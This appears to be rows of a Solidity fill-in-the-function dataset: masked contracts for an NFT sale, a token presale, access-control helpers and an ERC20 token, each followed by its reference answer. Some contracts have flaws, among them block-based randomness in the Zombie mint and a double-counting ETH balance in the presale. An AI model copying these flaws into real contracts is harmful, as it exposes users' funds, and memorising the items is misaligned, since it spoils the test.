the initial CEO ceoAddress = msg.sender; // The creator of the contract is also the initial Curator curatorAddress = msg.sender; } /// @dev Used to mark the smart contract as upgraded, in case there is a serious /// breaking bug. This method does nothing but keep track of the new contract and /// emit a message indicating that the new address is set. It's up to clients of this /// contract to update to the new contract address in that case. (This contract will /// be paused indefinitely if such an upgrade takes place.) /// @param _v2Address new address function setNewAddress(address _v2Address) external onlyCEO whenPaused { // See README.md for updgrade plan newContractAddress = _v2Address; ContractFork(_v2Address); } /// @dev Withdraw all Ether from the contract. This includes the fee on every /// masterpiece sold and any Ether sent directly to the contract address. /// Only the CFO can withdraw the balance or specify the address to send /// the balance to. function withdrawBalance(address _to) external onlyCFO { // We are using this boolean method to make sure that even if one fails it will still work if (_to == address(0)) { cfoAddress.transfer(this.balance); } else { _to.transfer(this.balance); } } /// @notice Returns all the relevant information about a specific masterpiece. /// @param _tokenId The tokenId of the masterpiece of interest. function getMasterpiece(uint256 _tokenId) external view returns ( string name, string artist, uint256 birthTime, uint256 snatchWindow, uint256 sellingPrice, address owner ) { Masterpiece storage masterpiece = masterpieces[_tokenId]; name = masterpiece.name; artist = masterpiece.artist; birthTime = uint256(masterpiece.birthTime); snatchWindow = masterpieceToSnatchWindow[_tokenId]; sellingPrice = masterpieceToPrice[_tokenId]; owner = masterpieceToOwner[_tokenId]; } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive call. function unpause() public onlyCEO whenPaused {<FILL_FUNCTION_BODY> } }
contract MasterpieceCore is MasterpieceMinting { // - MasterpieceAccessControl: This contract defines which users are granted the given roles that are // required to execute specific operations. // // - MasterpieceBase: This contract inherits from the MasterpieceAccessControl contract and defines // the core functionality of CryptoMasterpieces, including the data types, storage, and constants. // // - MasterpiecePricing: This contract inherits from the MasterpieceBase contract and defines // the pricing logic for CryptoMasterpieces. With every purchase made through the Core contract or // through a sale auction, the next listed price will multiply based on 5 price tiers. This ensures // that the Masterpiece bought through CryptoMasterpieces will always be adjusted to its fair market // value. // // - MasterpieceOwnership: This contract inherits from the MasterpiecePricing contract and the ERC-721 // (https://github.com/ethereum/EIPs/issues/721) contract and implements the methods required for // Non-Fungible Token Transactions. // // - MasterpieceAuction: This contract inherits from the MasterpieceOwnership contract. It defines // the Dutch "clock" auction mechanism for owners of a masterpiece to place it on sale. The auction // starts off at the automatically generated next price and until it is sold, decrements the price // as time passes. The owner of the masterpiece can cancel the auction at any point and the price // cannot go lower than the price that the owner bought the masterpiece for. // // - MasterpieceSale: This contract inherits from the MasterpieceAuction contract. It defines the // tiered pricing logic and handles all sales. It also checks that a Masterpiece is not in an // auction before approving a purchase. // // - MasterpieceMinting: This contract inherits from the MasterpieceSale contract. It defines the // creation of new regular and promotional masterpieces. // Set in case the core contract is broken and a fork is required address public newContractAddress; function MasterpieceCore() public { // Starts paused. paused = true; // The creator of the contract is the initial CEO ceoAddress = msg.sender; // The creator of the contract is also the initial Curator curatorAddress = msg.sender; } /// @dev Used to mark the smart contract as upgraded, in case there is a serious /// breaking bug. This method does nothing but keep track of the new contract and /// emit a message indicating that the new address is set. It's up to clients of this /// contract to update to the new contract address in that case. (This contract will /// be paused indefinitely if such an upgrade takes place.) /// @param _v2Address new address function setNewAddress(address _v2Address) external onlyCEO whenPaused { // See README.md for updgrade plan newContractAddress = _v2Address; ContractFork(_v2Address); } /// @dev Withdraw all Ether from the contract. This includes the fee on every /// masterpiece sold and any Ether sent directly to the contract address. /// Only the CFO can withdraw the balance or specify the address to send /// the balance to. function withdrawBalance(address _to) external onlyCFO { // We are using this boolean method to make sure that even if one fails it will still work if (_to == address(0)) { cfoAddress.transfer(this.balance); } else { _to.transfer(this.balance); } } /// @notice Returns all the relevant information about a specific masterpiece. /// @param _tokenId The tokenId of the masterpiece of interest. function getMasterpiece(uint256 _tokenId) external view returns ( string name, string artist, uint256 birthTime, uint256 snatchWindow, uint256 sellingPrice, address owner ) { Masterpiece storage masterpiece = masterpieces[_tokenId]; name = masterpiece.name; artist = masterpiece.artist; birthTime = uint256(masterpiece.birthTime); snatchWindow = masterpieceToSnatchWindow[_tokenId]; sellingPrice = masterpieceToPrice[_tokenId]; owner = masterpieceToOwner[_tokenId]; } <FILL_FUNCTION> }
require(saleAuction != address(0)); require(newContractAddress == address(0)); // Actually unpause the contract. super.unpause();
function unpause() public onlyCEO whenPaused
/// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive call. function unpause() public onlyCEO whenPaused
5107
Zombie
withdraw
contract Zombie is ERC721Enumerable, ERC721URIStorage, ReentrancyGuard, Ownable { uint256 public mintPrice = 50000000000000000; uint256 public vipMintPrice = 10000000000000000; mapping(uint256 => NFT) internal tokenIdCid; mapping(uint256 => NFT) internal ownerTokenIdCid; mapping(address => bool) internal whitelist; struct NFT { string cid; bool isMint; } uint256[] tokenId; uint256[] ownerTokenId; uint256[] claimTokenId; uint256 internal salt = 99; constructor(string memory name, string memory symbol) ERC721("ZOMBIE", "ZOMBIE") Ownable() {} function setMintPrice(uint256 mintPrice_) external onlyOwner { mintPrice = mintPrice_; } function setVipMintPrice(uint256 mintPrice_) external onlyOwner { vipMintPrice = mintPrice_; } function claim(uint256 tokenAmount) public payable nonReentrant { uint256 _mintPrice = mintPrice; if (whitelist[_msgSender()] == true) { _mintPrice = vipMintPrice; } require( msg.value == _mintPrice * tokenAmount, "msg.value is incorrect" ); require(tokenAmount <= 10, "Wrong token amount. max 10"); require(tokenAmount <= tokenId.length, "Token is not enough"); uint256 tokenRandom = 0; for (uint256 i = 0; i < tokenAmount; i++) { (salt, tokenRandom) = random(salt, tokenId.length - 1); uint256 tokenIdClaim = tokenId[tokenRandom]; _mint(_msgSender(), tokenIdClaim); _setTokenURI(tokenIdClaim, tokenIdCid[tokenIdClaim].cid); tokenIdCid[tokenIdClaim].isMint = true; //change array tokenId[tokenRandom] = tokenId[tokenId.length - 1]; tokenId.pop(); //claim array claimTokenId.push(tokenIdClaim); } } function ownerClaim(uint256 tokenAmount) public nonReentrant onlyOwner { require(tokenAmount <= 10, "Wrong token amount. max 10"); require(tokenAmount <= ownerTokenId.length, "Token is not enough"); uint256 tokenRandom = 0; for (uint256 i = 0; i < tokenAmount; i++) { (salt, tokenRandom) = random(salt, ownerTokenId.length - 1); uint256 tokenIdClaim = ownerTokenId[tokenRandom]; _mint(_msgSender(), tokenIdClaim); _setTokenURI(tokenIdClaim, ownerTokenIdCid[tokenIdClaim].cid); ownerTokenIdCid[tokenIdClaim].isMint = true; //change array ownerTokenId[tokenRandom] = ownerTokenId[ownerTokenId.length - 1]; ownerTokenId.pop(); //claim array claimTokenId.push(tokenIdClaim); } } function addWhitelist(address[] memory addresses) public onlyOwner { require(addresses.length <= 10, "Wrong token address. max 10"); for (uint256 i; i < addresses.length; i++) { whitelist[addresses[i]] = true; } } function addTokenId(uint256[] memory _tokenId, string[] memory _tokenURI) public onlyOwner { require(_tokenId.length == _tokenURI.length, "Adopt: Array error"); for (uint256 i; i < _tokenId.length; i++) { if (_exists(_tokenId[i])) { tokenIdCid[_tokenId[i]].cid = _tokenURI[i]; continue; } if (bytes(tokenIdCid[_tokenId[i]].cid).length > 0) { continue; } tokenIdCid[_tokenId[i]].isMint = false; tokenIdCid[_tokenId[i]].cid = _tokenURI[i]; tokenId.push(_tokenId[i]); } } function addOwnerTokenId( uint256[] memory _tokenId, string[] memory _tokenURI ) public onlyOwner { require(_tokenId.length == _tokenURI.length, "Adopt: Array error"); for (uint256 i; i < _tokenId.length; i++) { if (_exists(_tokenId[i])) { continue; } if (bytes(ownerTokenIdCid[_tokenId[i]].cid).length > 0) { continue; } ownerTokenIdCid[_tokenId[i]].isMint = false; ownerTokenIdCid[_tokenId[i]].cid = _tokenURI[i]; ownerTokenId.push(_tokenId[i]); } } function getTokenIds() public view returns (uint256[] memory) { return tokenId; } function getOwnerTokenIds() public view returns (uint256[] memory) { return ownerTokenId; } function getTokenCount() public view returns (uint256) { return tokenId.length; } function getOwnerTokenCount() public view returns (uint256) { return ownerTokenId.length; } function getClaimCount() public view returns (uint256) { return claimTokenId.length; } function getCidByTokenId(uint256 _tokenId) public view returns (string memory) { return tokenIdCid[_tokenId].cid; } function isWhitelist(address _address) public view returns (bool) { return whitelist[_address]; } function withdraw() public nonReentrant onlyOwner {<FILL_FUNCTION_BODY> } function random(uint256 _salt, uint256 _baseNumber) internal view returns (uint256, uint256) { if (_baseNumber == 0) { return (_salt, 0); } uint256 r = uint256( keccak256( abi.encodePacked( _salt, block.coinbase, block.difficulty, block.number, block.timestamp ) ) ); return (r, r % _baseNumber); } function tokenURI(uint256 _tokenId) public view virtual override(ERC721, ERC721URIStorage) returns (string memory) { return super.tokenURI(_tokenId); } function _beforeTokenTransfer( address _from, address _to, uint256 _tokenId ) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(_from, _to, _tokenId); } function _burn(uint256 _tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(_tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } }
contract Zombie is ERC721Enumerable, ERC721URIStorage, ReentrancyGuard, Ownable { uint256 public mintPrice = 50000000000000000; uint256 public vipMintPrice = 10000000000000000; mapping(uint256 => NFT) internal tokenIdCid; mapping(uint256 => NFT) internal ownerTokenIdCid; mapping(address => bool) internal whitelist; struct NFT { string cid; bool isMint; } uint256[] tokenId; uint256[] ownerTokenId; uint256[] claimTokenId; uint256 internal salt = 99; constructor(string memory name, string memory symbol) ERC721("ZOMBIE", "ZOMBIE") Ownable() {} function setMintPrice(uint256 mintPrice_) external onlyOwner { mintPrice = mintPrice_; } function setVipMintPrice(uint256 mintPrice_) external onlyOwner { vipMintPrice = mintPrice_; } function claim(uint256 tokenAmount) public payable nonReentrant { uint256 _mintPrice = mintPrice; if (whitelist[_msgSender()] == true) { _mintPrice = vipMintPrice; } require( msg.value == _mintPrice * tokenAmount, "msg.value is incorrect" ); require(tokenAmount <= 10, "Wrong token amount. max 10"); require(tokenAmount <= tokenId.length, "Token is not enough"); uint256 tokenRandom = 0; for (uint256 i = 0; i < tokenAmount; i++) { (salt, tokenRandom) = random(salt, tokenId.length - 1); uint256 tokenIdClaim = tokenId[tokenRandom]; _mint(_msgSender(), tokenIdClaim); _setTokenURI(tokenIdClaim, tokenIdCid[tokenIdClaim].cid); tokenIdCid[tokenIdClaim].isMint = true; //change array tokenId[tokenRandom] = tokenId[tokenId.length - 1]; tokenId.pop(); //claim array claimTokenId.push(tokenIdClaim); } } function ownerClaim(uint256 tokenAmount) public nonReentrant onlyOwner { require(tokenAmount <= 10, "Wrong token amount. max 10"); require(tokenAmount <= ownerTokenId.length, "Token is not enough"); uint256 tokenRandom = 0; for (uint256 i = 0; i < tokenAmount; i++) { (salt, tokenRandom) = random(salt, ownerTokenId.length - 1); uint256 tokenIdClaim = ownerTokenId[tokenRandom]; _mint(_msgSender(), tokenIdClaim); _setTokenURI(tokenIdClaim, ownerTokenIdCid[tokenIdClaim].cid); ownerTokenIdCid[tokenIdClaim].isMint = true; //change array ownerTokenId[tokenRandom] = ownerTokenId[ownerTokenId.length - 1]; ownerTokenId.pop(); //claim array claimTokenId.push(tokenIdClaim); } } function addWhitelist(address[] memory addresses) public onlyOwner { require(addresses.length <= 10, "Wrong token address. max 10"); for (uint256 i; i < addresses.length; i++) { whitelist[addresses[i]] = true; } } function addTokenId(uint256[] memory _tokenId, string[] memory _tokenURI) public onlyOwner { require(_tokenId.length == _tokenURI.length, "Adopt: Array error"); for (uint256 i; i < _tokenId.length; i++) { if (_exists(_tokenId[i])) { tokenIdCid[_tokenId[i]].cid = _tokenURI[i]; continue; } if (bytes(tokenIdCid[_tokenId[i]].cid).length > 0) { continue; } tokenIdCid[_tokenId[i]].isMint = false; tokenIdCid[_tokenId[i]].cid = _tokenURI[i]; tokenId.push(_tokenId[i]); } } function addOwnerTokenId( uint256[] memory _tokenId, string[] memory _tokenURI ) public onlyOwner { require(_tokenId.length == _tokenURI.length, "Adopt: Array error"); for (uint256 i; i < _tokenId.length; i++) { if (_exists(_tokenId[i])) { continue; } if (bytes(ownerTokenIdCid[_tokenId[i]].cid).length > 0) { continue; } ownerTokenIdCid[_tokenId[i]].isMint = false; ownerTokenIdCid[_tokenId[i]].cid = _tokenURI[i]; ownerTokenId.push(_tokenId[i]); } } function getTokenIds() public view returns (uint256[] memory) { return tokenId; } function getOwnerTokenIds() public view returns (uint256[] memory) { return ownerTokenId; } function getTokenCount() public view returns (uint256) { return tokenId.length; } function getOwnerTokenCount() public view returns (uint256) { return ownerTokenId.length; } function getClaimCount() public view returns (uint256) { return claimTokenId.length; } function getCidByTokenId(uint256 _tokenId) public view returns (string memory) { return tokenIdCid[_tokenId].cid; } function isWhitelist(address _address) public view returns (bool) { return whitelist[_address]; } <FILL_FUNCTION> function random(uint256 _salt, uint256 _baseNumber) internal view returns (uint256, uint256) { if (_baseNumber == 0) { return (_salt, 0); } uint256 r = uint256( keccak256( abi.encodePacked( _salt, block.coinbase, block.difficulty, block.number, block.timestamp ) ) ); return (r, r % _baseNumber); } function tokenURI(uint256 _tokenId) public view virtual override(ERC721, ERC721URIStorage) returns (string memory) { return super.tokenURI(_tokenId); } function _beforeTokenTransfer( address _from, address _to, uint256 _tokenId ) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(_from, _to, _tokenId); } function _burn(uint256 _tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(_tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } }
uint256 balance = address(this).balance; payable(msg.sender).transfer(balance);
function withdraw() public nonReentrant onlyOwner
function withdraw() public nonReentrant onlyOwner
11417
DSAuth
isAuthorized
contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) auth { authority = authority_; LogSetAuthority(authority); } modifier auth { assert(isAuthorized(msg.sender, msg.sig)); _; } modifier authorized(bytes4 sig) { assert(isAuthorized(msg.sender, sig)); _; } function isAuthorized(address src, bytes4 sig) internal returns (bool) {<FILL_FUNCTION_BODY> } function assert(bool x) internal { if (!x) throw; } }
contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) auth { authority = authority_; LogSetAuthority(authority); } modifier auth { assert(isAuthorized(msg.sender, msg.sig)); _; } modifier authorized(bytes4 sig) { assert(isAuthorized(msg.sender, sig)); _; } <FILL_FUNCTION> function assert(bool x) internal { if (!x) throw; } }
if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); }
function isAuthorized(address src, bytes4 sig) internal returns (bool)
function isAuthorized(address src, bytes4 sig) internal returns (bool)
79338
Owned
null
contract Owned { address public owner; constructor() {<FILL_FUNCTION_BODY> } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership (address newOwner) onlyOwner { owner = newOwner; } }
contract Owned { address public owner; <FILL_FUNCTION> modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership (address newOwner) onlyOwner { owner = newOwner; } }
owner = msg.sender;
constructor()
constructor()
17035
BigShortBetsPresale2
tokensBoughtOf
contract BigShortBetsPresale2 { // max USD per user uint256 private immutable _maxUsd; // soft limit USD total uint256 private immutable _limitUsd; // max ETH per user uint256 private immutable _maxEth; // soft limit ETH total uint256 private immutable _limitEth; // contract starts accepting transfers uint256 private immutable _dateStart; // hard time limit uint256 private immutable _dateEnd; // total collected USD uint256 private _usdCollected; uint256 private constant DECIMALS_DAI = 18; uint256 private constant DECIMALS_USDC = 6; uint256 private constant DECIMALS_USDT = 6; // addresses of tokens address private immutable usdt; address private immutable usdc; address private immutable dai; address public owner; address public newOwner; bool private _presaleEnded; // deposited per user mapping(address => uint256) private _usdBalance; mapping(address => uint256) private _ethBalance; // deposited per tokens mapping(address => uint256) private _deposited; // will be set after presale uint256 private _tokensPerEth; string private constant ERROR_ANS = "Approval not set!"; event AcceptedUSD(address indexed user, uint256 amount); event AcceptedETH(address indexed user, uint256 amount); constructor( address _owner, uint256 maxUsd, uint256 limitUsd, uint256 maxEth, uint256 limitEth, uint256 startDate, uint256 endDate, address _usdt, address _usdc, address _dai ) { owner = _owner; _maxUsd = maxUsd; _limitUsd = limitUsd; _maxEth = maxEth; _limitEth = limitEth; _dateStart = startDate; _dateEnd = endDate; usdt = _usdt; usdc = _usdc; dai = _dai; /** mainnet: usdt=0xdAC17F958D2ee523a2206206994597C13D831ec7; usdc=0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; dai=0x6B175474E89094C44Da98b954EedeAC495271d0F; */ } //pay in using USDC //need prepare and sign approval first //not included in dapp function payUsdcByAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) external { require(to == address(this), "Wrong authorization address"); // should throw on any error INterfaces(usdc).transferWithAuthorization( from, to, value, validAfter, validBefore, nonce, v, r, s ); // not msg.sender, approval can be sent by anyone _pay(from, value, DECIMALS_USDC); _deposited[usdc] += value; } //pay in using USDC //use approve/transferFrom function payUSDC(uint256 amount) external { require( INterfaces(usdc).allowance(msg.sender, address(this)) >= amount, ERROR_ANS ); require( INterfaces(usdc).transferFrom(msg.sender, address(this), amount), "USDC transfer failed" ); _pay(msg.sender, amount, DECIMALS_USDC); _deposited[usdc] += amount; } //pay in using USDT //need set approval first function payUSDT(uint256 amount) external { require( INterfaces(usdt).allowance(msg.sender, address(this)) >= amount, ERROR_ANS ); IUsdt(usdt).transferFrom(msg.sender, address(this), amount); _pay(msg.sender, amount, DECIMALS_USDT); _deposited[usdt] += amount; } //pay in using DAI //need set approval first function payDAI(uint256 amount) external { require( INterfaces(dai).allowance(msg.sender, address(this)) >= amount, ERROR_ANS ); require( INterfaces(dai).transferFrom(msg.sender, address(this), amount), "DAI transfer failed" ); _pay(msg.sender, amount, DECIMALS_DAI); _deposited[dai] += amount; } //direct ETH send will not back // //accept ETH // takes about 50k gas receive() external payable { _payEth(msg.sender, msg.value); } // takes about 35k gas function payETH() external payable { _payEth(msg.sender, msg.value); } function _payEth(address user, uint256 amount) internal notEnded { uint256 amt = _ethBalance[user] + amount; require(amt <= _maxEth, "ETH per user reached"); _ethBalance[user] += amt; emit AcceptedETH(user, amount); } function _pay( address user, uint256 amount, uint256 decimals ) internal notEnded { uint256 usd = amount / (10**decimals); _usdBalance[user] += usd; require(_usdBalance[user] <= _maxUsd, "USD amount too high"); _usdCollected += usd; emit AcceptedUSD(user, usd); } // // external readers // function USDcollected() external view returns (uint256) { return _usdCollected; } function ETHcollected() external view returns (uint256) { return address(this).balance; } function USDmax() external view returns (uint256) { return _maxUsd; } function USDlimit() external view returns (uint256) { return _limitUsd; } function ETHmax() external view returns (uint256) { return _maxEth; } function ETHlimit() external view returns (uint256) { return _limitEth; } function dateStart() external view returns (uint256) { return _dateStart; } function dateEnd() external view returns (uint256) { return _dateEnd; } function tokensBoughtOf(address user) external view returns (uint256 amt) {<FILL_FUNCTION_BODY> } function usdDepositOf(address user) external view returns (uint256) { return _usdBalance[user]; } function ethDepositOf(address user) external view returns (uint256) { return _ethBalance[user]; } modifier notEnded() { require(!_presaleEnded, "Presale ended"); require( block.timestamp > _dateStart && block.timestamp < _dateEnd, "Too soon or too late" ); _; } modifier onlyOwner() { require(msg.sender == owner, "Only for contract Owner"); _; } modifier timeIsUp() { require(block.timestamp > _dateEnd, "SOON"); _; } function endPresale() external onlyOwner { require( _usdCollected > _limitUsd || address(this).balance > _limitEth, "Limit not reached" ); _presaleEnded = true; } function setTokensPerEth(uint256 ratio) external onlyOwner { require(_tokensPerEth == 0, "Ratio already set"); _tokensPerEth = ratio; } // take out all stables and ETH function takeAll() external onlyOwner timeIsUp { _presaleEnded = true; //just to save gas for ppl that want buy too late uint256 amt = INterfaces(usdt).balanceOf(address(this)); if (amt > 0) { IUsdt(usdt).transfer(owner, amt); } amt = INterfaces(usdc).balanceOf(address(this)); if (amt > 0) { INterfaces(usdc).transfer(owner, amt); } amt = INterfaces(dai).balanceOf(address(this)); if (amt > 0) { INterfaces(dai).transfer(owner, amt); } amt = address(this).balance; if (amt > 0) { payable(owner).transfer(amt); } } // we can recover any ERC20 token send in wrong way... for price! function recoverErc20(address token) external onlyOwner { uint256 amt = INterfaces(token).balanceOf(address(this)); // do not take deposits amt -= _deposited[token]; if (amt > 0) { INterfaces(token).transfer(owner, amt); } } // should not be needed, but... function recoverEth() external onlyOwner timeIsUp { payable(owner).transfer(address(this).balance); } function changeOwner(address _newOwner) external onlyOwner { newOwner = _newOwner; } function acceptOwnership() external { require( msg.sender != address(0) && msg.sender == newOwner, "Only NewOwner" ); newOwner = address(0); owner = msg.sender; } }
contract BigShortBetsPresale2 { // max USD per user uint256 private immutable _maxUsd; // soft limit USD total uint256 private immutable _limitUsd; // max ETH per user uint256 private immutable _maxEth; // soft limit ETH total uint256 private immutable _limitEth; // contract starts accepting transfers uint256 private immutable _dateStart; // hard time limit uint256 private immutable _dateEnd; // total collected USD uint256 private _usdCollected; uint256 private constant DECIMALS_DAI = 18; uint256 private constant DECIMALS_USDC = 6; uint256 private constant DECIMALS_USDT = 6; // addresses of tokens address private immutable usdt; address private immutable usdc; address private immutable dai; address public owner; address public newOwner; bool private _presaleEnded; // deposited per user mapping(address => uint256) private _usdBalance; mapping(address => uint256) private _ethBalance; // deposited per tokens mapping(address => uint256) private _deposited; // will be set after presale uint256 private _tokensPerEth; string private constant ERROR_ANS = "Approval not set!"; event AcceptedUSD(address indexed user, uint256 amount); event AcceptedETH(address indexed user, uint256 amount); constructor( address _owner, uint256 maxUsd, uint256 limitUsd, uint256 maxEth, uint256 limitEth, uint256 startDate, uint256 endDate, address _usdt, address _usdc, address _dai ) { owner = _owner; _maxUsd = maxUsd; _limitUsd = limitUsd; _maxEth = maxEth; _limitEth = limitEth; _dateStart = startDate; _dateEnd = endDate; usdt = _usdt; usdc = _usdc; dai = _dai; /** mainnet: usdt=0xdAC17F958D2ee523a2206206994597C13D831ec7; usdc=0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; dai=0x6B175474E89094C44Da98b954EedeAC495271d0F; */ } //pay in using USDC //need prepare and sign approval first //not included in dapp function payUsdcByAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) external { require(to == address(this), "Wrong authorization address"); // should throw on any error INterfaces(usdc).transferWithAuthorization( from, to, value, validAfter, validBefore, nonce, v, r, s ); // not msg.sender, approval can be sent by anyone _pay(from, value, DECIMALS_USDC); _deposited[usdc] += value; } //pay in using USDC //use approve/transferFrom function payUSDC(uint256 amount) external { require( INterfaces(usdc).allowance(msg.sender, address(this)) >= amount, ERROR_ANS ); require( INterfaces(usdc).transferFrom(msg.sender, address(this), amount), "USDC transfer failed" ); _pay(msg.sender, amount, DECIMALS_USDC); _deposited[usdc] += amount; } //pay in using USDT //need set approval first function payUSDT(uint256 amount) external { require( INterfaces(usdt).allowance(msg.sender, address(this)) >= amount, ERROR_ANS ); IUsdt(usdt).transferFrom(msg.sender, address(this), amount); _pay(msg.sender, amount, DECIMALS_USDT); _deposited[usdt] += amount; } //pay in using DAI //need set approval first function payDAI(uint256 amount) external { require( INterfaces(dai).allowance(msg.sender, address(this)) >= amount, ERROR_ANS ); require( INterfaces(dai).transferFrom(msg.sender, address(this), amount), "DAI transfer failed" ); _pay(msg.sender, amount, DECIMALS_DAI); _deposited[dai] += amount; } //direct ETH send will not back // //accept ETH // takes about 50k gas receive() external payable { _payEth(msg.sender, msg.value); } // takes about 35k gas function payETH() external payable { _payEth(msg.sender, msg.value); } function _payEth(address user, uint256 amount) internal notEnded { uint256 amt = _ethBalance[user] + amount; require(amt <= _maxEth, "ETH per user reached"); _ethBalance[user] += amt; emit AcceptedETH(user, amount); } function _pay( address user, uint256 amount, uint256 decimals ) internal notEnded { uint256 usd = amount / (10**decimals); _usdBalance[user] += usd; require(_usdBalance[user] <= _maxUsd, "USD amount too high"); _usdCollected += usd; emit AcceptedUSD(user, usd); } // // external readers // function USDcollected() external view returns (uint256) { return _usdCollected; } function ETHcollected() external view returns (uint256) { return address(this).balance; } function USDmax() external view returns (uint256) { return _maxUsd; } function USDlimit() external view returns (uint256) { return _limitUsd; } function ETHmax() external view returns (uint256) { return _maxEth; } function ETHlimit() external view returns (uint256) { return _limitEth; } function dateStart() external view returns (uint256) { return _dateStart; } function dateEnd() external view returns (uint256) { return _dateEnd; } <FILL_FUNCTION> function usdDepositOf(address user) external view returns (uint256) { return _usdBalance[user]; } function ethDepositOf(address user) external view returns (uint256) { return _ethBalance[user]; } modifier notEnded() { require(!_presaleEnded, "Presale ended"); require( block.timestamp > _dateStart && block.timestamp < _dateEnd, "Too soon or too late" ); _; } modifier onlyOwner() { require(msg.sender == owner, "Only for contract Owner"); _; } modifier timeIsUp() { require(block.timestamp > _dateEnd, "SOON"); _; } function endPresale() external onlyOwner { require( _usdCollected > _limitUsd || address(this).balance > _limitEth, "Limit not reached" ); _presaleEnded = true; } function setTokensPerEth(uint256 ratio) external onlyOwner { require(_tokensPerEth == 0, "Ratio already set"); _tokensPerEth = ratio; } // take out all stables and ETH function takeAll() external onlyOwner timeIsUp { _presaleEnded = true; //just to save gas for ppl that want buy too late uint256 amt = INterfaces(usdt).balanceOf(address(this)); if (amt > 0) { IUsdt(usdt).transfer(owner, amt); } amt = INterfaces(usdc).balanceOf(address(this)); if (amt > 0) { INterfaces(usdc).transfer(owner, amt); } amt = INterfaces(dai).balanceOf(address(this)); if (amt > 0) { INterfaces(dai).transfer(owner, amt); } amt = address(this).balance; if (amt > 0) { payable(owner).transfer(amt); } } // we can recover any ERC20 token send in wrong way... for price! function recoverErc20(address token) external onlyOwner { uint256 amt = INterfaces(token).balanceOf(address(this)); // do not take deposits amt -= _deposited[token]; if (amt > 0) { INterfaces(token).transfer(owner, amt); } } // should not be needed, but... function recoverEth() external onlyOwner timeIsUp { payable(owner).transfer(address(this).balance); } function changeOwner(address _newOwner) external onlyOwner { newOwner = _newOwner; } function acceptOwnership() external { require( msg.sender != address(0) && msg.sender == newOwner, "Only NewOwner" ); newOwner = address(0); owner = msg.sender; } }
require(_tokensPerEth > 0, "Tokens/ETH ratio not set yet"); amt = (_usdBalance[user] * 95) / 100; amt += _ethBalance[user] * _tokensPerEth; return amt;
function tokensBoughtOf(address user) external view returns (uint256 amt)
function tokensBoughtOf(address user) external view returns (uint256 amt)
24911
ERC20
transferFrom
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply;} function balanceOf(address account) public view override returns (uint256) { return _balances[account];} function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true;} function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender];} function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true;} function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {<FILL_FUNCTION_BODY>;} function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true;} function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true;} function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount);} function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount);} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount);} function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);} function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_;} function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }}
